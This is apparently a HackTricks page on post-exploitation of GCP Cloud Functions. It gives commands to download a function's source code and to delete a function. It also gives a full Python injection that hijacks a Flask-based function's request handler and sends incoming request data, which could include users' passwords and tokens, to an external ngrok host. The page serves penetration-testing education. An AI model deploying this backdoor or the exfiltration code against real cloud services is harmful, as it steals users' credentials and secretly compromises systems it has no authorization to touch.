# GCP - Cloud Functions Post Exploitation

{{#include ../../../banners/hacktricks-training.md}}

## Cloud Functions

Find some information about Cloud Functions in:

{{#ref}}
../gcp-services/gcp-cloud-functions-enum.md
{{#endref}}

### `cloudfunctions.functions.sourceCodeGet`

With this permission you can get a **signed URL to be able to download the source code** of the Cloud Function:

```bash
curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/locations/{location}/functions/{function-name}:generateDownloadUrl \
-H "Authorization: Bearer $(gcloud auth application-default print-access-token)" \
-H "Content-Type: application/json" \
-d '{}'
```

### `cloudfunctions.functions.delete`
The `cloudfunctions.functions.delete` permission allows an identity to completely delete a Cloud Function, including its code, configuration, triggers, and its association with service accounts.

```bash
gcloud functions delete <FUNCTION_NAME> \
  --region=us-central1 \
  --quiet
```

### Code Exfiltration through the bucket
The `storage.objects.get` and `storage.objects.list` permissions allow listing and reading objects inside a bucket, and in the case of Cloud Functions this is especially relevant because each function stores its source code in an automatically managed Google bucket, whose name follows the format `gcf-sources-<PROJECT_NUMBER>-<REGION>`


### Steal Cloud Function Requests

If the Cloud Function is managing sensitive information that users are sending (e.g. passwords or tokens), with enough privileges you could **modify the source code of the function and exfiltrate** this information.

Moreover, Cloud Functions running in python use **flask** to expose the web server, if you somehow find a code injection vulnerability inside the flaks process (a SSTI vulnerability for example), it's possible to **override the function handler** that is going to receive the HTTP requests for a **malicious function** that can **exfiltrate the request** before passing it to the legit handler.

For example this code implements the attack:

```python
import functions_framework


# Some python handler code
@functions_framework.http
def hello_http(request, last=False, error=""):
    """HTTP Cloud Function.
    Args:
        request (flask.Request): The request object.
        <https://flask.palletsprojects.com/en/1.1.x/api/#incoming-request-data>
    Returns:
        The response text, or any set of values that can be turned into a
        Response object using `make_response`
        <https://flask.palletsprojects.com/en/1.1.x/api/#flask.make_response>.
    """

    if not last:
        return injection()
    else:
        if error:
            return error
        else:
            return "Hello World!"


# Attacker code to inject
# Code based on the one from https://github.com/Djkusik/serverless_persistency_poc/blob/master/gcp/exploit_files/switcher.py

new_function = """
def exfiltrate(request):
    try:
        from urllib import request as urllib_request
        req = urllib_request.Request("https://8b01-81-33-67-85.ngrok-free.app", data=bytes(str(request._get_current_object().get_data()), "utf-8"), method="POST")
        urllib_request.urlopen(req, timeout=0.1)
    except Exception as e:
        if not "read operation timed out" in str(e):
            return str(e)

    return ""

def new_http_view_func_wrapper(function, request):
    def view_func(path):
        try:
            error = exfiltrate(request)
            return function(request._get_current_object(), last=True, error=error)
        except Exception as e:
            return str(e)

    return view_func
"""

def injection():
    global new_function
    try:
        from flask import current_app as app
        import flask
        import os
        import importlib
        import sys

        if os.access('/tmp', os.W_OK):
            new_function_path = "/tmp/function.py"
            with open(new_function_path, "w") as f:
                f.write(new_function)
            os.chmod(new_function_path, 0o777)

        if not os.path.exists('/tmp/function.py'):
            return "/tmp/function.py doesn't exists"

        # Get relevant function names
        handler_fname = os.environ.get("FUNCTION_TARGET") # Cloud Function env variable indicating the name of the function to habdle requests
        source_path = os.environ.get("FUNCTION_SOURCE", "./main.py") # Path to the source file of the Cloud Function (main.py by default)
        realpath = os.path.realpath(source_path) # Get full path

        # Get the modules representations
        spec_handler = importlib.util.spec_from_file_location("main_handler", realpath)
        module_handler = importlib.util.module_from_spec(spec_handler)

        spec_backdoor = importlib.util.spec_from_file_location('backdoor', '/tmp/function.py')
        module_backdoor = importlib.util.module_from_spec(spec_backdoor)

        # Load the modules inside the app context
        with app.app_context():
            spec_handler.loader.exec_module(module_handler)
            spec_backdoor.loader.exec_module(module_backdoor)

        # make the cloud funtion use as handler the new function
        prev_handler = getattr(module_handler, handler_fname)
        new_func_wrap = getattr(module_backdoor, 'new_http_view_func_wrapper')
        app.view_functions["run"] = new_func_wrap(prev_handler, flask.request)
        return "Injection completed!"

    except Exception as e:
        return str(e)
```



{{#include ../../../banners/hacktricks-training.md}}
